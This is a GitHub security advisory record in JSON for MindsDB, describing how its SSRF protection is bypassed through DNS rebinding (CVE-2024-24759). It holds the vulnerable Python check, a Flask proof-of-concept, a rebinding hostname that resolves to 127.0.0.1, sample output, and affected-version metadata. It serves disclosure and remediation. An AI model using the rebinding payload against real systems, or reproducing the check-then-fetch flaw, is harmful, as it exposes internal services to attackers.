{"id":"GHSA-4jcv-vp96-94xr","summary":"MindsDB Vulnerable to Bypass of SSRF Protection with DNS Rebinding","details":"### Summary\n\nDNS rebinding is a method of manipulating resolution of domain names to let the initial DNS query hits an address and the second hits another one. For instance the host `make-190.119.176.200-rebind-127.0.0.1-rr.1u.ms`  would be initially resolved to `190.119.176.200` and the next DNS issue to `127.0.0.1`. Please notice the following in the latest codebase:\n\n```python\ndef is_private_url(url: str):\n    \"\"\"\n    Raises exception if url is private\n\n    :param url: url to check\n    \"\"\"\n\n    hostname = urlparse(url).hostname\n    if not hostname:\n        # Unable to find hostname in url\n        return True\n    ip = socket.gethostbyname(hostname)\n    return ipaddress.ip_address(ip).is_private\n\n``` \n\nAs you can see, during the call to `is_private_url()` the initial DNS query would be issued by `ip = socket.gethostbyname(hostname)` to an IP (public one) and then due to DNS Rebinding, the next GET request would goes to the private one.\n\n### PoC\n\n```python\nfrom flask import Flask, request, jsonify\nfrom urllib.parse import urlparse\nimport socket\nimport ipaddress\nimport requests\n\napp = Flask(__name__)\n\n\ndef is_private_url(url: str):\n    \"\"\"\n    Raises exception if url is private\n\n    :param url: url to check\n    \"\"\"\n\n    hostname = urlparse(url).hostname\n    if not hostname:\n        # Unable to find hostname in url\n        return True\n    ip = socket.gethostbyname(hostname)\n    if ipaddress.ip_address(ip).is_private:\n        raise Exception(f\"Private IP address found for {url}\")\n\n\n@app.route(\"/\", methods=[\"GET\"])\ndef index():\n    return \"http://127.0.0.1:5000/check_private_url?url=https://www.google.Fr\"\n\n\n@app.route(\"/check_private_url\", methods=[\"GET\"])\ndef check_private_url():\n    url = request.args.get(\"url\")\n\n    if not url:\n        return jsonify({\"error\": 'Missing \"url\" parameter'}), 400\n\n    try:\n        is_private_url(url)\n        response = requests.get(url)\n\n        return jsonify(\n            {\n                \"url\": url,\n                \"is_private\": False,\n                \"text\": response.text,\n                \"status_code\": response.status_code,\n            }\n        )\n    except Exception as e:\n        return jsonify({\"url\": url, \"is_private\": True, \"error\": str(e)})\n\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n\n```\n\nAfter running the poc.py with flask installed, consider visiting the following URLs:\n\n1. http://127.0.0.1:5000/check_private_url?url=https://www.example.com since it is in the public space, you would get `is_private: false` and the GET request would be issued to the www.Example.com website.\n3. http://127.0.0.1:5000/check_private_url?url=http://localhost:8667, this one the address is private, you would get `is_private: true`\n4. http://127.0.0.1:5000/check_private_url?url=http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/ But this one, it initially returns the public IP `190.119.176.214` and then DNS rebind into the network location `127.0.0.1:8667`.\n\nI set up a simple HTTP server at `127.0.0.1:8667`, you can notice the results of the PoC in the next screenshot:\n\n```\n{\n  \"is_private\": false,\n  \"status_code\": 200,\n  \"text\": \"\u003cpre\u003e\\n\u003ca href=\\\"poc.py\\\"\u003epoc.py\u003c/a\u003e\\n\u003c/pre\u003e\\n\",\n  \"url\": \"http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/\"\n}\n\n```\n\n\n### Impact\n - Bypass the SSRF protection on the whole website with DNS Rebinding.\n - DoS too.\n","aliases":["CVE-2024-24759","PYSEC-2024-74"],"modified":"2024-11-27T05:26:26.574633Z","published":"2024-09-05T16:37:56Z","database_specific":{"cwe_ids":["CWE-350","CWE-918"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2024-09-05T16:37:56Z","nvd_published_at":"2024-09-05T17:15:12Z"},"references":[{"type":"WEB","url":"https://github.com/mindsdb/mindsdb/security/advisories/GHSA-4jcv-vp96-94xr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-24759"},{"type":"WEB","url":"https://github.com/mindsdb/mindsdb/commit/5f7496481bd3db1d06a2d2e62c0dce960a1fe12b"},{"type":"PACKAGE","url":"https://github.com/mindsdb/mindsdb"}],"affected":[{"package":{"name":"mindsdb","ecosystem":"PyPI","purl":"pkg:pypi/mindsdb"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"23.12.4.2"}]}],"versions":["0.6.5","0.6.6","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.7.8","0.7.9","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9","0.8.9.1","0.8.9.2","0.8.9.3","0.8.9.4","0.8.9.5","0.8.9.6","0.8.9.7","0.8.9.8","0.9.0.0","0.9.0.1","0.9.1.0","0.9.2.0","1.0","1.0.1","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.2","1.1.3","1.1.7","1.1.9","1.10.0","1.10.2","1.10.3","1.11.0","1.11.2","1.11.3","1.11.4","1.11.5","1.11.8","1.12.0","1.12.1","1.12.2","1.12.3","1.12.4","1.12.5","1.12.7","1.12.8","1.12.9","1.13.0","1.13.10","1.13.11","1.13.12","1.13.15","1.13.2","1.13.3","1.13.4","1.13.5","1.13.6","1.13.7","1.13.8","1.13.9","1.14.0","1.14.1","1.14.2","1.14.3","1.14.4","1.15.1","1.15.2","1.15.6","1.16.0","1.16.1","1.16.2","1.17.0","1.17.1","1.17.2","1.17.3","1.17.4","1.17.6","1.17.8","1.17.9","1.18.0","1.18.1","1.18.2","1.18.3","1.18.5","1.18.6","1.18.7","1.19.0","1.19.1","1.2.0","1.2.1","1.2.2","1.2.3","1.2.4","1.2.5","1.2.6","1.2.8","1.2.9","1.20.0","1.20.1","1.21.0","1.22.0","1.23.0","1.24.0","1.24.1","1.24.2","1.25.0","1.25.1","1.25.2","1.26.0","1.26.1","1.26.2","1.26.3","1.26.4","1.26.5","1.27.0","1.27.1","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.4.0","1.4.1","1.4.10","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.9","1.5.0","1.5.1","1.5.2","1.5.4","1.6.0","1.6.12","1.6.13","1.6.15","1.6.17","1.6.18","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.7.0","1.7.1","1.7.10","1.7.11","1.7.12","1.7.13","1.7.14","1.7.15","1.7.16","1.7.17","1.7.18","1.7.19","1.7.2","1.7.20","1.7.21","1.7.22","1.7.23","1.7.3","1.7.5","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0","1.8.2","1.9.0","1.9.1","1.9.2","1.9.3","1.9.5","1.9.6","1.99.0","1.99.1","1.99.10","1.99.11","1.99.3","1.99.4","1.99.5","1.99.6","1.99.7","1.99.8","1.99.9","2.0.0","2.1.0","2.1.2","2.10.0","2.10.1","2.10.2","2.11.0","2.11.1","2.11.2","2.11.4","2.12.0","2.13.0","2.13.1","2.13.2","2.13.3","2.13.4","2.13.5","2.13.6","2.13.7","2.13.8","2.14.0","2.15.0","2.17.1","2.18.0","2.19.0","2.19.1","2.19.2","2.19.4","2.19.5","2.2.0","2.2.1","2.20.0","2.20.1","2.20.2","2.21.0","2.21.1","2.21.2","2.21.3","2.22.0","2.22.1","2.22.2","2.23.0","2.24.0","2.24.1","2.25.0","2.25.1","2.25.2","2.25.3","2.26.0","2.27.0","2.28.0","2.3.0","2.30.0","2.30.1","2.31.0","2.32.0","2.33.0","2.34.0","2.35.0","2.36.0","2.37.0","2.38.0","2.39.0","2.4.0","2.40.0","2.41.1","2.41.2","2.42.0","2.42.1","2.42.2","2.43.0","2.44.0","2.45.0","2.45.1","2.45.2","2.5.0","2.50.0","2.51.0","2.51.1","2.51.2","2.52.0","2.53.0","2.54.0","2.55.0","2.55.1","2.55.2","2.56.0","2.57.0","2.58.0","2.58.1","2.58.2","2.58.3","2.59.0","2.6.0","2.6.1","2.60.0","2.60.1","2.61.0","2.62.0","2.62.1","2.62.2","2.62.3","2.62.4","2.7.0","2.7.1","2.7.2","2.8.0","2.8.1","2.8.3","2.9.0","2.9.1","22.1.4.0","22.1.4.1","22.10.2.0","22.10.2.1","22.11.3.0","22.11.3.2","22.11.4.0","22.11.4.1","22.11.4.2","22.11.4.3","22.12.4.0","22.12.4.2","22.12.4.3","22.2.1.0","22.2.1.2","22.2.2.0","22.2.2.1","22.2.4.0","22.2.4.1","22.3.1.0","22.3.3.0","22.3.4.0","22.3.4.1","22.3.4.2","22.3.4.3","22.3.5.0","22.4.2.0","22.4.2.1","22.4.2.2","22.4.3.0","22.4.5.0","22.5.1.0","22.5.1.1","22.5.1.2","22.5.2.0","22.5.4.0","22.6.1.0","22.6.1.1","22.6.1.2","22.6.2.0","22.6.2.1","22.6.2.2","22.7.3.0","22.7.3.1","22.7.3.2","22.7.3.3","22.7.3.4","22.7.4.0","22.7.4.1","22.7.5.0","22.7.5.1","22.8.2.0","22.8.2.1","22.8.3.0","22.8.3.1","22.8.4.0","22.8.4.1","22.8.5.0","22.9.3.0","22.9.3.1","22.9.4.0","22.9.5.1","22.9.5.2","22.9.5.3","22.9.5.4","23.1.3.0","23.1.3.1","23.1.3.2","23.1.5.0","23.10.2.0","23.10.3.0","23.10.3.1","23.10.5.0","23.11.1.0","23.11.4.0","23.11.4.1","23.11.4.4a6","23.12.4.0","23.12.4.1","23.2.1.0","23.2.2.1","23.2.3.0","23.2.3.1","23.2.4.0","23.2.4.1","23.2.4.2","23.2.4.3","23.3.2.0","23.3.3.0","23.3.3.1","23.3.3.2","23.3.3.3","23.3.3.4","23.3.3.5","23.3.4.0","23.3.5.0","23.4.3.0","23.4.3.1","23.4.3.2","23.4.4.0","23.4.4.1","23.4.4.2","23.4.4.3","23.4.4.4","23.5.3.1","23.5.3.2","23.5.4.1","23.6.1.1","23.6.2.0","23.6.3.0","23.6.3.1","23.6.4.0","23.6.5.0","23.6.5.1","23.7.1.0","23.7.2.0","23.7.3.1","23.7.4.0","23.7.4.1","23.8.1.0","23.8.3.0","23.9.1.0","23.9.1.1","23.9.2.0","23.9.2.1","23.9.3.0","23.9.3.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/09/GHSA-4jcv-vp96-94xr/GHSA-4jcv-vp96-94xr.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:L"}]}